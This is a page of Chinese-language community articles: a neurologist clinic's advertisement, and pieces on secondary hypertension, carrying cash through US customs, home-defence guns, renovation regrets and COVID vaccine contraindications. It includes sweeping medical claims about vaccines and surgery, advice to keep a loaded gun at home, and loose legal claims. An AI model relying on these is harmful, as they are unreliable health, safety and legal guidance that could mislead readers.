腰椎病和頸椎病是非常常見的疾病﹐可以說我們每個人在生命里的一個時期都會經歷腰椎和頸椎的病症﹐只是成度的輕微嚴重不同。 特別是隨著年齡的增長﹐骨刺﹐老化﹐椎管狹窄﹐椎間盤突出﹐各種問題都會一一出來。 很多人對腰椎病和頸椎病的理解也有錯誤或很不全面。引起腰椎病和頸椎病的原因很多﹐從肌肉緊或僵硬﹐到神經根壓迫﹐從脊椎病變﹐到壓迫脊髓。 一定需要精確的診斷才能提供正確的治療方案。 多種不同的治療方案也要因人和病痛的情況而定。 有些人對一定的藥物有非常好的反應有些人卻對同樣的藥物產生副作用。 很多人以為做手術就一定能解決﹐但實際上只有百分之五十的人手術後非常成功﹐另外百分之五十的人卻沒有進步甚至更糟。 腰椎病和頸椎病是一種慢性病﹐對大多數人而言都時好時壞﹐沒有完全的根治﹐但這並不意味著不能治療和好轉﹐關鍵是精確的診斷和不能因為一種藥物或治療方式的不成功就放棄。 另外我們需要知道一些健康小常識﹐怎樣在日常生活中防止腰椎和頸椎的疼痛或增強腰椎和頸椎的健康。我希望今天讨论的常見的腰椎病和頸椎病讓大家有一個比較全面的新的認識和了解。

伍安麗醫生是華人社區里唯一的神經肌肉專科醫生﹐目前任紐約皇后醫院的神經內科主治醫生。 她於康奈爾大學醫學院博士畢業,曾任愛因斯坦醫學院神經內科总住院醫師,獲得哈佛醫學院 — 馬薩諸塞州總醫院(MGH)和布裡格姆與婦女醫院(BWH)神經肌肉和EMG神經肌電圖專科文憑,她同時擁有美國神經內科特考文憑,是美國神經肌肉及電測協會會員、美國神經醫學協會會員和美國醫學協會會員。求學期間的無數榮譽和獎項,多年醫學院各類疑難雜癥從醫經驗,加之極強的邏輯性思維,塑造了不可多得的資深神經肌肉專科醫生。 

伍安麗醫生診所擁有最先進和完整的神經肌電圖裝置和設備﹐為病患者提供最好的服務。伍安麗醫師親自執行完整的EMG神經肌電圖測試。 診所還使用電子病歷系統,可提高效率,增強醫生與醫生之間的溝通。網站還提供免費病人醫療詢。病人可以張貼他們對某些醫療症狀的問題,伍醫師將通過該網站給予詳細的解答。 

伍安麗醫師腦神經及神經肌肉專科診所: 

地址:法拉盛,富林大廈, 緬街36-40號203室(香港超市斜对面近北方大道), 36-40 Main Street, Suit 203, Flushing, NY11354;

網址:www.anniewumd.com

預約電 718-888-0980門診時間週三,10點至5),一 (11點至5), 所有看诊都需预约

2021-06-01 / by / in , ,
什么是继发性高血压?如何治疗继发性高血压?

不容忽视的继发性高血压

人们熟知的三高症的一高,高血压是最常见的心血管疾病。如果长期血压没有得到很好的控制,这很可能会成为急性心脑血管卒中的诱因。高血压病的90%为原发性高血压,多见于中老年人群,受遗传,饮食环境等多种因素影响。

然而还有10%左右的高血压是继发性高血压,又称之为症状性高血压.

此类高血压有明确的发病原因,通常发病年龄轻,起病急,对联合降压药效果不理想。但是如果我们能找准原因对症治疗,那么相当一部分继发性高血压是可以被治愈的。所以这类高血压又被称之为”可能治愈的高血压”。

常见的继发性高血压有肾病性高血压,肾动脉血管狭窄引起的高血压,还有内分泌疾病,以及药物和妊娠有关的高血压。下面简单介绍几例我在临床工作中成功治愈的病例。

第一个患者是一位中年女性,没有任何基础疾病,也没有心血管疾病家族史。在一次年检中突然发现高血压上压170多,而且在后续治疗中对多种降压药物都没有效果。值得注意的是,在她的一次血液生化检查中发现轻度的低钾高钠现象。当时的鉴别诊断是原发性醛固酮增多症也称 CONN’S SYNDROME. 多见于肾上腺皮质增生或皮质肿瘤. 我们及时指导病人做了多层肾上腺CT扫描,结果在左侧肾上腺发现一颗米粒大小的肿瘤。肿瘤在外科成功切除,高血压在术后第二天就恢复了正常.

还有一位20出头的青年女性,初次来就诊的时候是阵发性心动过速,伴有大汗淋漓症状。血压在一天内起伏很大,有症状时血压高达180/100。CT扫描发现腹部一个大于8CM的肿瘤。手术切除活检发现是嗜铬细胞瘤。此类肿瘤分泌过量儿茶酚胺,从而导致恶性高血压。肿瘤成功切除后,血压也逐渐恢复正常。

除了上述的内分泌疾病导致的高血压以外,那么如果是肾动脉狭窄导致的高血压,及时放置血管支架来扩张血管是第一治疗手段。如果是原发性肾病导致的高血压,那么改善肾功能可以达到控制血压的目的。另外,在孕期突然发现的继发性高血压(妊娠高血压)也是需要早期发现,严密监控的。如果没有及时控制而发展成先兆子痫和子痫,那会造成多个器官损伤,以及孕妇死亡。

在临床上继发性高血压和原发性高血压的界限模糊很容易混淆。所以尤其是青状年群体或者原来血压正常的老人,在没有基础疾病的情况下如果突发高血压或高血压危向,那一定要尽早向家庭医生咨询就诊。根据症状来鉴别诊断,及时做出相关检查,和对症下药。

(我在高血压血管病发病机理有多年的研究和临床诊治经验)

如果读者/患者对高血压病需要进一步咨询诊治及相关问题,请致电我们诊所718-290-5810 (41-60 MAIN STREET, STE 203, FLUSHING, NY, 11355)

2021-06-01 / by / in
携带现金出入美国 需要了解这些规定

文|雨荷

携带现金出入美国,一定要了解这些规定。很多国家都设有支票,以控制旅客可以带进和带出的现金量。美国也不例外,法律要求旅行者申报大量现金流动,以防止资金被用于非法或恐怖活动,并阻止洗钱。

如果您要携带大量现金进出美国,将要求解释其来历和去向,以便边境警察检查,如果您触犯法律,则将受到严厉的处罚。因此,如果您即将前往美国,最好了解对您可以进出多少现金的限制。

携带大量现金进出美国 示意图。

您可以带多少现金进入美国?有什么限制?

有关在美国境内进出货币的规定和限制的详细信息,可以在美国海关和边境保护局网站上在线找到。

您最多可以携带不超过 10,000 美元进入美国,但是携带超过此金额的物品,到达时您必须申报。

如果您携带太多现金到美国,会受到什么处罚?

如果您带来超过10,000美元(或等值的美元)到美国,并且没有正确申报,这笔钱就会被边境管制局扣押。如果警方认为钱来自某种形式的非法活动,也可能会受到刑事指控。罚款可高达 500,000 美元,刑期可长达 10 年。冒着犯错的风险绝对不值得。

银行电汇 示意图。

那么再有一个就是钱存在什么地方,到银行电汇这都很正常,可是有些客户很任性,他非要就自己带,有这个侥幸心理,特别是在赌场赢了钱之后。他就觉得卷着几万,带着包就想回去。

可是要注意,你若是无知者无畏,就会有风险。要知道,就会提心吊胆,为什么呢?因为你一旦进入机场的区域,就会有几个风险。

建议写个支票寄回去在国内的银行取,两三个月就可以兑现,或者是用西联汇款汇回去。

因为国际航班出境的时候,就会有警犬来回闻,警犬对现金有训练,能闻出来你带有现金。有一些缉毒署的人说过,美国的百元钞票通常是贩毒贩子,在贩运毒品时把毒品掺在一起,百元钞票的上面有毒品警犬很容易闻出来,只要警犬一叫,他们就查,现金就露出来了。最轻是民事罚款,罚款百分之二十。

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警犬对现金有训练 示意图。

再有一个就是进入机场区域后,你携带的包里的带现金要经过机场安检的,经过X光机的时候,X光机能看出来,但是机场安检他没有权利执行现金法律授权,他就会打电话给出入境管理,就是海关和移民边境保护局,他会说出这乘客什么特征,包里有很多钱。

客户遇到的情况,一般是乘客就要登机了。这时会把你叫住,两个持枪的警官过来,要求检查你行李,因为你没有申报,就要把钱全部收了,而且这班飞机你也坐不成了,会耽误很多事儿,钱也被收了,你得去把钱要回来,通常他要扣百分之二十。

那么最后还有就是有临检,尤其是像在拉斯维加斯这样的赌场,经常国际航班出发前就都有官员在机舱口随机检查行李,一旦查出来,只要申报就行。

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 机场 示意图。

怎么去申报呢?你要提前五个小时到机场,到机场你要是带五万、十万现金,你装着包没问题。你就到机场海关和边境保护局的办公室,你就说要带现金出去,那么要填FinCEN105表格,就是财政部的现金监管表,你就如实填。然后登记盖章。通常要问你钱从哪儿来的?你说我赌博赢的,或者是卖房子钱,整个程序给他大致看一下。他查不出来什么非法行为,他肯定让你带出去。那么带着出去你又得面临另外一个问题,就是到中国带美元,不能带五千美元以上,多了你也得申报。

总的来说,不建议带现金旅行在飞机上,还有国际上有专门坐着飞机,偷行李的物品的人,如果现金装在里面,他趁睡觉时偷走现金。

因此建议要带现金,一定要带六千美元以下,是最安全的。如果要带八千美元以上,机场的官员他就会翻箱倒柜,又查你的人民币,又查你的其他的证券什么支票,他凑够一万美元就开始罚你。就是说不凑一万,说你有嫌疑违反,给你上黑名单,以后你每次旅行都要被检查,很麻烦。

2021-06-01 / by / in , , ,
家防自卫买什么枪好/手枪、霰弹枪、步枪家防作用特点、价格/美国枪械法对买枪的限制

文/弗光照

美国是一个枪支合法的国家,美国枪械法赋予人民携枪自卫的权利。在这个环境中,具备家防自卫home defese的能力,保护自己和家人的生命安全非常重要。枪支对于入室的罪犯最有震慑力,那么家防自卫买什么枪好?什么枪最适合家防自卫?下面我们一起了解家防自卫用枪的种类、特点和子弹等。

一.家防枪有3种:

1)霰弹枪 Shotgun:即猎枪,也叫散弹枪,是最实用、普遍的家防自卫用枪,打出去的是散弹,命中率高;

2)手枪 Handgun:手枪易学,小而方便,易于携带和隐藏,适用于个人自卫、家防。可随身携带;适合车内、室内等狭小空间;各州对于手枪的携带要求各有不同,如德州就要求隐藏携枪。

3)步枪 Rifle:弹容量大、射速快,只有出现社会大骚乱才需要。

二.家防枪的特点:

1.霰弹枪(shotgun)射程近,防御面积大,是美国家庭家防自卫的标准配置。特别是家里院子大,想要威慑力强的武器,那就非霰弹枪莫属了;

  • 优点:1)因打出去的是散弹,命中率高。

——————2)穿透力差,但是打中人体之后,杀伤力极大。罪犯一听到枪弹上膛的声音,就会马上逃跑。

  • 缺点:1)枪身长拿着不太方便。

——————2)平时在家放在哪里是个大问题:即要在最短的时间内将长枪拿在手里准备射击,又不易被家里的孩子够到?

——————3)霰弹枪有的没什么杀伤力;有的伤力大的,后坐力也大,难控制。新手要注意:霰弹枪在室内使用时,如果射到坚硬物体不能穿透,反弹回来很危险,会对射手造成伤害,所以很多室内靶场不让使用,室外靶场也少有合适的练习场。

2.手枪:主要是半自动手枪、左轮手枪2个类型

  • 半自动手枪:装弹量大,射击速度比较快。
  • 左轮手枪:结构简单,性能更加可靠,但射击速度慢,弹量小只有6发

3.步枪

  • 优点:火力强大,弹匣容量大;
  • 缺点:不便第一时间拿到,缺乏灵活性,在狭小的室内,车内使用起来会受限。同样,在家放在哪里是个大问题

————————————图为左轮手枪    6发子弹

三. 家防自卫用枪的型号、价格:

1霰弹枪:A. 霰弹枪有3种:

1)Pump 泵动式霰弹枪:就是每打完一发子弹,就要手动推拉一下枪栓

  • 优点:泵动式机械原理简单可靠,价格便宜。
  • 缺点:会有人为操作失误,如果推拉枪栓不到位会卡壳。

2)semi-auto 半自动霰弹枪:只需扣动扳机就OK

  • 优点:速度快,
  • 缺点:对子弹比较敏感,有的枪子弹换一个牌子就卡壳。

3)双管霰弹枪:因为只有2发子弹,选用的人很少。

B. 霰弹枪的口径:有12GA、20GA两种

  • 12GA口径霰弹枪:比20GA的口径大,重量沉,后坐力强,威力也大一些。选择的人比较多,子弹容易买到,价格合适。质量好的牌子,有Remington870、Mossberg500、Bennli(意大利霰弹枪公司制造)等哪个都不错,价格大众都在400-500美元左右。
  • 20GA口径霰弹枪:比较适合女士。如:Mossberg 500 Super Bantam,泵动式,枪托比普通型短,价格在500美元左右。

———————————          霰弹枪

2.手枪(Pistol/Handgun):

1)从构造原理分: 有左轮手枪revolver、半自动手枪semi-automatic  2种。枪界周知的好牌子:自动手枪Ruger鲁格,左轮手枪Smith&Wesson斯密思威森。

  • 左轮手枪的优点:结构简单,不易损坏,不卡壳(要选正经牌子),不需要拉套筒上膛,适合初学者。
  • 缺点:扳机力相对比较大,不如自动手枪容易打准;弹容量小,一般只有5-6发。

左轮手枪.357Mag,可以打两种口径的子弹:.357Mag威力大3倍左右,后坐力也大,适合男士用;.38Special可以女生用。小口径子弹便宜,而大口径更实用。

  • 自动手枪的优点:弹容量大,换弹匣快,美国警察以前用左轮现在都换成半自动了。
  • 自动手枪 的缺点:易卡壳,如射击姿势不对,手腕没挺紧导致卡壳。还有总是有人忘拉套筒上膛。自动 手枪的口径9毫米的比较大众,子弹便宜,威力够用

2)手枪的尺寸:

  • 大尺寸手枪,体积大,全钢材质比较重,优点:射击姿势非常容易控制,性能可靠。自动枪的装弹量大,缺点是不利于携带。
  • 小尺寸手枪,材质包含聚合物、铝合金,体积小重量轻,适合便携防身。缺点是弹容量很小,后座力很大。

3)手枪的世界品牌奥地利意大利GLOCK格洛克美国Smith & Wesson、Ruger鲁格 、Colt柯尔特M1911A1、Springfield Armory斯普林菲尔德、意大利Beretta贝雷塔德国SigSauer西格邵尔、HK(Heckler&Koch)赫科勒·科赫、 Walther 瓦尔特等! 

A)大众型号手枪:价格大约在500-700美元之间。Glock枪中的品牌,性能好,实用可靠。大约60%的美国警察配用它。 G17 尺寸、重量较小,握把比较方(有人会觉得不趁手)。还有Springfield、Sig P365 XL、Smith & Wesson的M&P9手感好、Walther PPQ扳机好,打得准、 Beretta 92F美国军用手枪—M9,非常稳定。

B)名牌型号手枪:价格大约在800-1000美元的枪。Guns.com网站2020年的销售冠军就是G19 Gen 5 MOS;还有Sig P226,公认的打得很准的手枪,9毫米的,美国海军陆战队的海豹突击队的配枪;HK的枪非常昂贵公认可靠性好的枪。如握把比较宽大的USP系列;尺寸较小的P2000;尺寸居中的P30等。

3.步枪(Rifle)

半自动步枪是平民持有威力最大的武器,但不适合家庭自卫枪支,极易误伤他人。并且,这种枪对使用者要求较高,需要有专业训练,射击姿势、日常养护、瞄具校准等。

标准持枪方式:食指放在扳机框上,只有射击的刹那,食指才扣动扳机。

 四.请记住买手枪的几个要点:

1)买枪前:用枪关键是趁手,最好是买枪前在去靶场,把你想买的枪租一下试试是否趁手。

2)选枪:精致小巧的手枪,后坐力越大,不易打准。反而大而重的手枪最实用,后坐力小,打得准。

.买子弹:

自卫子弹一般选择hollowpoint,空尖弹 (JHP),即弹头前面开口,杀伤力强,贵。常见的牌子有Speer,federal,Remington等。

  • 价格大约是1发1美元。平时练习时可用便宜的子弹。
  • 买了枪,必须给你的新枪多次测试子弹,保证子弹的可靠性。因自动手枪对子弹敏感,易卡壳。最好打满一弹匣子弹,让枪和子弹充分磨合,如果有子弹问题赶紧换。
  • 隔几个月试一次。因为自动枪支不可以让弹夹弹簧和扳机弹簧成年累月处于压迫状态,否则,影响弹簧的可靠性。
  • *注意2019年起,子弹购买也需要注册和背景调查。

.买了枪,去哪里练习?

  • 实弹练习,要去靶场。靶场有商业的、非营利政府的、及俱乐部。商业的靶场比较多,价格高,可租不同型号的枪。租枪不贵,大概只要十几美元,贵的是弹药。
  • 靶场会提供一些基本的手枪、步枪、霰弹枪课程。学习正规的课程,教练会帮你养成极为重要的安全意识、和用枪习惯。
  • 既然买了枪,没兴趣人的也要保持基本的练习,别忘了怎么开枪。

.美国枪械法对买枪的限制

拥枪其实是很麻烦的事,您必须熟知美国枪械法和当地法规,限制如下

  • 从2017年1月起, AR/AK 系列长枪在加州售卖违法.
  • 弹匣超过10发子弹违法
  • 不能连发,全自动的不可以
  • 枪管必须超过16寸,步枪总长要超过30寸, 散弹枪总长要超过26寸
  • 有可拆卸弹匣的枪要有弹匣锁,你就无法快速换弹匣

.其他的家防自卫设备

  • ADT之类的安防系统,警报声一响震慑作用也非常好,有些型号可以自动联系警察。
  • 门窗报警(尤其是玻璃break报警);如果大门是很大一块玻璃额外装一个security screen door防盗门。
  • 摄像头要安装在显眼处,最好带夜视功能、自动亮灯功能(会警示坏人)。这样上班不在家的时候安心;晚上睡觉也放心一些。

总之,手枪最重要的一个优势:触手可及,在危急关头能第一时间拿到;步枪或者霰弹枪,通常为了防止走火一般都是放在枪柜或者枪盒,没有手枪好操作。不同的人可根据有不同的家庭情况,选择不同的枪。

还要注意的是:既然是家防自卫,那么家里一定要随时准备一支上了膛的枪(always keep a loaded gun)应急。

在美国,私人庭院范围内拥有的强大自卫权利,保证私有财产神圣不可侵犯。家庭必备家防自卫枪支可有效同保障家庭安全,也可减少入室偷盗或入室抢劫情况发生。在自己家击毙认为威胁到自己安全的陌生人,往往是无罪的,而陌生人却没有对等权利。所以,未经允许进入别人家是违法的,也很危险,这是常识。

枪有两个作用:一是威慑,吓跑罪犯足够了;二是last defense了真到了危急情况射击救命。古人云:一念成佛一念成魔,得饶人处且饶人。能吓跑罪犯,就尽量不要伤及性命了吧。

2021-05-31 / by / in , , , ,
纽约装修必看!18个可能让你后悔的家装产品

也许你是一个非常自信的人,甚至于你是一个很棒的设计师,但是在房屋装修完成以后,或多或少都会有些让你后悔的地方,因为在美国纽约装修房屋时,有很多的变量,也可能会让你在压力下、或是在有限的时间里做出重大的决定。有一些错误的决定在装修完工之后是很难补救的。

本文为您盘点18种在房屋装修后可能让你后悔的家装产品,也许会使您免于日后的头痛。

  • 浴缸

毋庸置疑,浴缸很占地方,小户型的房子还是不要考虑了。即使你的卫生间足够大,在安装浴缸前也一定要三思。

想象着能常常舒适的泡个澡,觉得很开心。可现实是每次放满整缸水要二三十分钟,浪费水又浪费时间。浴缸清洗也很麻烦,每次泡澡都要折腾很久。本来想天天泡澡,结果很可能嫌麻烦,一个月泡不到三次,最后浴缸就变成储物缸了。

  • 地毯

地毯可以让家里充满高贵又大气的格调,但实际上,铺设地毯是居家装修后最容易让人后悔的。

地毯拥有惊人的藏污纳垢的能力,还特别难清洁。各种毛发、灰尘、食物碎屑、细菌、螨虫都隐藏在地毯里,想想就让人毛骨悚然,你必须得经常打扫。

另外,市面上有一些地毯加入了劣质胶水,是甲醛污染的重要源头。

地毯这种东西看起来很美好,但是华而不实,在买之前一定要慎重,不要买完再后悔呃。

  • 水晶吊灯

很多人都喜欢梦幻的水晶灯,水晶灯最大的作用就是装饰,在家庭日常生活中基本没啥实用性,不适合日常的照明,因为水晶灯比较晃眼,使用时间长了以后还会积聚很多灰尘,很难拆下来清洁,更换灯泡也很麻烦。

  • 台上盆

不得不承认台上盆的颜值的确很高,装在五星级酒店还是非常不错。但对于大部分家庭来说。 台上盆不适合安装在家里。台上盆和台面的结合处很容易积水和发霉,并且很不好清理。

有些台上盆的设计还会制造卫生死角,根本没法清洁成了细菌的温床。

  • 壁纸

想象中壁纸花样多,美观又有气氛,有花有草,看了就觉得享受。但事实上壁纸的寿命很短,很容易会有受潮的现象。通常用个四五年,边角就会到处翘或是起球,还得要重贴。

另外还有甲醛污染,壁纸都需要用胶水粘贴,可能几个月味道都散不去。不如选择乳胶漆更好更实用。

  • 懒人沙发

很多人买它都是被广告忽悠的,买回来坐两次就不会再碰它了。因为懒人沙发是没有支撑点的,坐在上边特别费腰,躺上面玩手机的话,可能半个小时就受不了了。它还特别占地方,又极其不好收纳,家里的柜子是装不下的,最后只能扔在角落吃灰。

如果非要买,建议大家还是买单人沙发吧。

  • 吊椅

有的人觉得在阳台上装一个吊椅,入住后会经常在上面度过悠闲的时光,好不浪漫,可是真正居住后,吊椅没做几次,上面衣物杂物倒是堆得满满的,又成了一个杂物死角。

  • 沙发折叠床

这个产品想法很好,实际很鸡肋。家里来客人了,可以把它打开当床,没来客人的时候,可以折叠起来当沙发,功能非常棒,还省地方。但现实却是一年下来,没来几个朋友在自己家里过夜,慢慢成了堆放衣服杂物的地方。

  • 开放式书架

是不是幻想着像文青一样,一整个柜子放满了书,高端又大气,非常有气质的悠闲看着书,柔美的画面。但现实却是用了一阵子之后才发现,自己没那么多书可以塞满书柜。

这类书架三天不擦就会粘上一层灰尘,清扫的时候还要注意不能沾水。落在上边的灰尘很难清洁干净,说实话各种颜色不一样,大小不一样的书本放在一起确实不好看,只会让整个空间显得凌乱。建议装设门板或玻璃门更高贵又时尚。

  • 大茶几

有小孩或者计划要小孩的家庭,茶几还是越简单越好,大茶几占据了玩耍的空间,最终只能扔在角落,成了杂物桌。

  • 深色木地板

理想中的深色地板是为了耐脏,就算脏也不易看出来,可是等到灰尘积满之后才发现,深色地板其实一点都不耐脏,一点点小灰尘看起来更明显。而且深色地板会让整个房间色调变得灰暗阴沉,也很容易过时,装的会让你想敲掉重做。还不如选择原木地板来的美观又明亮。

  • 地插

地插这东西在生活中是藏灰加碍事,打扫不方便,走路还容易绊脚。书房做可以,因为很多办公桌都是居中放的,周围没地方装面板。但为了吃顿火锅,装在客厅餐厅就有点不适合了,因为一年可能也吃不了几顿火锅,就算你家经常吃火锅,临时拉一个大排插也不费事。

  • 假梁吊顶

典型的装饰,多过实用的造型设计。大houses这么做,还可以理解,毕竟空间大,层高也高,但是一般平层不建议凑热闹,这东西对平层而言不仅没用,还压层高,巨显空间压抑又不好看。选择这类吊顶一定要慎之又慎。

  • 壁灯

这里说的壁灯主要是指那种紧贴墙面且不可调节距离和方向的壁灯。这种灯用来看书不够亮, 用来当夜灯位置太高、太刺眼,用来照明它除了照墙,哪儿都照不了,而且这东西坏了还特别不好维修。

如果非要装辅助灯源的话,建议大家还是装摇臂灯或者落地灯。

  • 旋转餐桌

请务必谨慎考虑,这种餐桌只适用于八至十个菜的席面,这种席面一年可能都没有几次,一般人家过日子,一顿无非也就三五个菜,这才是生活的日常状态。所以普通的方桌才是最合适的。这个大的转盘不仅没用,平时夹菜还不方便。

  • 吧台

有很多朋友都想弄这东西,都已经幻想好了,以后加班的时候可以在这办公,休闲的时候可以坐着喝喝红酒,看看书,很有情调的样子。

然而现实是吧台因为台面太小,在这工作舒适度很低,在这办公还不如在餐桌上方便。至于在吧台喝酒看书,可能也就刚开始的时候新鲜两次,最后才发现还是在沙发上比较舒服。

  • 玻璃门衣柜

玻璃衣柜颜值确实很高,不过决定做之前,最好先打开现在用的衣柜看看,如果是整齐有序的,那说明你平时是个爱收拾的人,可以做。如果是乱七八糟的,那还是放弃吧,普通衣柜乱无所谓,反正柜门一关就啥也看不见了,但玻璃柜门关了和没关的区别并不大。哪怕用黑色的也是能看得清内部空间的。不收拾好的话,不要说颜值,整个空间都会显得乱。

  • 消毒柜

消毒柜是一种很鸡肋的厨房电器,大部份人买回家根本用不了几次。自家用的餐具,哪用得着天天消毒。占地方不说,放久了机器里还有一股怪味,如果你的确需要餐具消毒,可以考虑买个带消毒功能的洗碗机。

 

2021-05-30 / by / in , , , ,
2021在美必看新冠疫苗 Covid vaccine详解|哪类人不适合打疫苗

文|雨荷

目前接种新冠疫苗Covid vaccine是每一个人都要逐步面对的问题。专家为您解答,哪类人群不适合打疫苗?

现在所有上市的,已经公开发表三期临床实验数据的这些疫苗,都有一个共同的特点,就是临床研究是一个理想化的人群,因为要研究一个新的东西对人到底有没有害、有没有用,就要在相对背景比较单纯的人群中去做营救。

这是临床研究的一般规则,选的就是健康的人群。什么属于健康呢?首先对于这些打疫苗的人来说,希望产生抗体,不能有免疫缺陷,有免疫缺陷的人他产生不了抗体,打了也白打。但是并不能代表整个广大人群,所以这些疫苗实验,都会除外这些免疫缺陷的人群。

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中共病毒 示意图。

免疫缺陷的人群

有慢性病毒性的感染,比如艾滋病,常见引起很严重的免疫缺陷的、继发性免疫缺陷的一个疾病,还有乙型慢性肝炎,这些病毒慢性的、活动性的感染,会干扰免疫力。

有贫血、癌症,这些都是除外的。有慢性病,比方慢性的心脏病、中风都被排除在这些临床研究之外。另外也不能抽烟,不能喝酒,也不能吸毒。注射部位有大面积的纹身也不能用,还有不能有任何过敏史。

总体有一个原则,就是如果您的身体已经感觉不舒服了,不管是什么原因不舒服,是基础病也好、或者是莫名其妙的不舒服也好、比方说发烧、虚弱、肌肉痛、疲劳、关节痛,建议您就暂不要去考虑打疫苗的事。

即使预约了也可以把它推迟掉,因为在不舒服的情况下,这时候打不打疫苗您都会不舒服,最后会把事情搞得很复杂,所以这是个基本的原则。换句话说,打疫苗是要在您身体感觉良好,自己感觉身心各方面比较佳的时候去打。

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新冠疫苗 示意图。

糖尿病三高类

糖尿病身三高的人,总体的原则是看疾病的严重程度,比方说糖尿病控制得不错了,餐后血糖是7-8mmol/L说明控制的还不错,血压也控制的比较理想的,是可以打的。

假设血糖平时都很高,空腹到了十以上,或者是血压到了160-170,如果是这种情况,建议暂缓考虑新冠(中共病毒)疫苗,把基础疾病治疗一下,疾病处于不稳定的状态,打不打疫苗都可能会出不舒服的状况,所以要注意防护这一点。

心血管病类

如果心脏病控制的很好。几个月都没有任何的心脏的症状了,那就可以考虑。但是有不稳定性的心绞痛,而且还经常发作,还有一个持续的无力、头晕、时不时感到心跳加速,要去医院去排除,心脏病发作可能加重了,心梗的先兆了,这种情况不建议打的。

心脏病 示意图。

如果您的心功能如果是很衰弱的情况下,做一些很轻微的日常活动都很费劲,是很虚弱的状态,心功能三四级的这种状态,建议先控制基础病,调好了再来考虑疫苗的事。

正在用药的一些人

假如您用降血脂的药,降血脂的药有个常见的副作用,就是引起肌肉疼痛,打疫苗它也有一个常见的副作用,那就是肌肉疼痛。在这种情况下,您吃着这个药物,又打了疫苗,万一肌肉痛又加重了,就不容易分清到底是药物该停了,还是疫苗引起来的。

所以在这种情况下,为了避免说不清楚的复杂情况,咨询您的医生,看看这个药物是不是可以再缓一缓,或者是剂量减一减,或者是其他的一些处理。

关于药物

要详细跟你的医生,把您所有用药的单子过一遍,看看有哪种药有可能跟将来考虑的所打的疫苗成分之间有相互作用的。如果这种有嫌疑的,建议要慎重,因为药物之间的相互作用太常见了,互相影响这个代谢或者是免疫,这些有可能都会引起复杂的情况,不太好判断。

身体虚弱的老人

身体虚弱的老人 示意图。

身体虚弱的老人,就看是什么原因虚弱的。如果跟年龄大有关的虚弱,精神状态很好,问题不大。如果虚弱是突然最近一段时间引起来的,而且找不到原因,就要值得去警惕,是不是心脏病发作的先兆,或者脑血管病的发作先兆。

尤其是当您的精神也突然变弱的时候,一定要谨慎,这时候最好是先到医院去排查一下,有潜在疾病的可能性,等这个恢复到您的正常状态下再来考虑。

癌症(实体肿瘤、非实体)

实体癌还是良性的癌肿瘤,这些其实问题不大的,因为它不会影响您的免疫力。但是非实体癌主要就是血液癌,尤其是淋巴系统的癌症,它直接影响您的免疫功能,它的免疫力实际上是很低的,因为这些淋巴细胞它就异常的增生,而且它没有正常的免疫细胞的这种功能,而打疫苗是要靠免疫力发挥正常的作用,才能起到产生抗体的作用。

所以在这种情况下,就算打了疫苗,也不能产生抗体,建议暂时不要考虑,建议您去治疗,好好的跟进一下血液系统的这种癌症,等到治疗好转了,然后免疫力恢复了以后,再在医生的指导下再去考量。

免疫缺乏性的这个疾病

免疫缺乏性的人群,打疫苗的临床实验最常见的排除人群,就因为他们免疫缺乏了,免疫力没有了,打了疫苗也没有用,那实验不就白做了吗?所以就是说这方面的数据是非常缺失的。那就是说打了疫苗也可能也没有用的。

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新冠疫苗 Covid vaccine 示意图。

首先建议就是治疗基础病,比方说艾滋病人,要去控制艾滋病病毒的这个繁殖,长期使用抑制剂的,请您去看看是不是来咨询医生,怎么样去处理一下。然后有些先天性免疫疾病的患者,先天性的免疫功能下降,这也是不要考虑打疫苗的。要治疗它的根本的疾病的问题在先。

怀孕和哺乳期妇女

这些人也是被临床试验首先排除在外的,因为主要是为了保护孕妇和胎儿的安全,不要有任何对胎儿造成意外的一些风险。那目前的数据也是缺乏的,没有任何数据能够给一个很好的判断。也没有各个疫苗的上市之后的说明书,疫苗也没有任何证据会针对孕妇有任何安全性的一个隐患,但是也没有临床的数据证明是安全的,所以需要疫苗公司将来可能要在这个孕妇人群中进行后续的临床研究,才能够给大家有证有临床实验数据基础的判断。

过敏体质类

如果是过敏体质要慎重,过敏体质就是说对很多种成分都可能过敏,建议去看一下怎么把体质给调整好。

还有一部分人几年前,曾经用过青霉素或者什么药。对这一种药过敏,或者是吃过一种食物,比方说对虾过敏,或者是被咬过一次然后发现过敏。就这种偶尔发生的过敏事件的人群,不见得是绝对不能打的。

怀孕 示意图。

因为人的体质是随时在一个动态的变化之中,过去曾经在那个阶段,免疫系统可能对那个东西过敏,不见得现在的免疫系统还是同样过敏的状态,也不能表明你的免疫系统对现在疫苗成分会过敏。所以要具体情况要具体地去看。

所以建议您选择什么样的疫苗,打还是不打,跟你的医生好好的去谈一下,去商量一下,拿出比较对您最便利的、最有效可行的方案来。

感染了新冠病毒人可以打疫苗吗?

那就是从理论上来讲,已经得过新冠病毒(中共病毒)感染的人,体内已经感染过了,可能已经有抗体了。不管抗体低度高还是低,其实已经有抗体。所以在极限的时候,打疫苗之前测,可能就已经在那里,会影响疫苗的这个效果的判定。所以这些人就是被科学家排除在疫苗的临床研究之外的原因。

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新冠病毒疫苗 示意图。

那就是说不管您得没得过,现在因为很多数据都是缺失的,也不晓得您得过产生的抗体会保护您多久。似乎是得了之后的人也产生了很有效的综合抗体,而且低度还比较高。

所以确实没有说不让您打,打还是有作用的,即使您已经康复了,也有可能再感染的。所以目前总体的推荐还是可以接种的。但是现在正在感染的,那就不建议打,比如说有发烧、有些症状,那还在急性期的,那要等到急性的感染症状恢复之后,然后等到隔离期结束之后,然后再来看,再来打,是否要打。

在国内打了国产灭活疫苗,几个月后再打MRNA这个疫苗有冲突吗?

没有临床研究来解答这个问题。目前的所有的疫苗实验都是同一种疫苗的一季或者双季的单纯的接种,没有混合接种的临床研究。

牛津大学正在进行一项临床实验,就是探索单季和第二季用不同种类的,比方说MRNA的或者实现病毒载体,这两种混在一起看谁先打哪个,再打哪个,然后看对他的免疫力,是不是有一个比单纯接种的更好、更持久,或者是这样的一个研究,我们期待他的数据能够早日的公布。

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中共病毒疫苗 示意图。

所以在获得临床研究数据之前,我们对这个疫苗混用持一个谨慎态度,所以就是建议还是尽量能用同一种疫苗接种。完成全程接种就尽量用同一种疫苗来完成接种。

什么样人绝对不能打新冠疫苗?

根据美国疾病控制与预防中心,还有各种疫苗说明书的共同点,就是禁忌打中共病毒疫苗的人群是两大类,一是已知对疫苗的任何成分有严重的即发性过敏反应的人群,是禁忌的;二是打第一针就出现了过敏的反应的人,第二针就不要打了。这是大家比较公认的禁忌的情况。

为什么对这一点特别禁忌呢?

因为急性过敏反应有可能引起生命危险,而发泄的速度太快,可以是十几分钟、几十分钟、几小时之内就可能导致人去世的,所以不是小事儿。

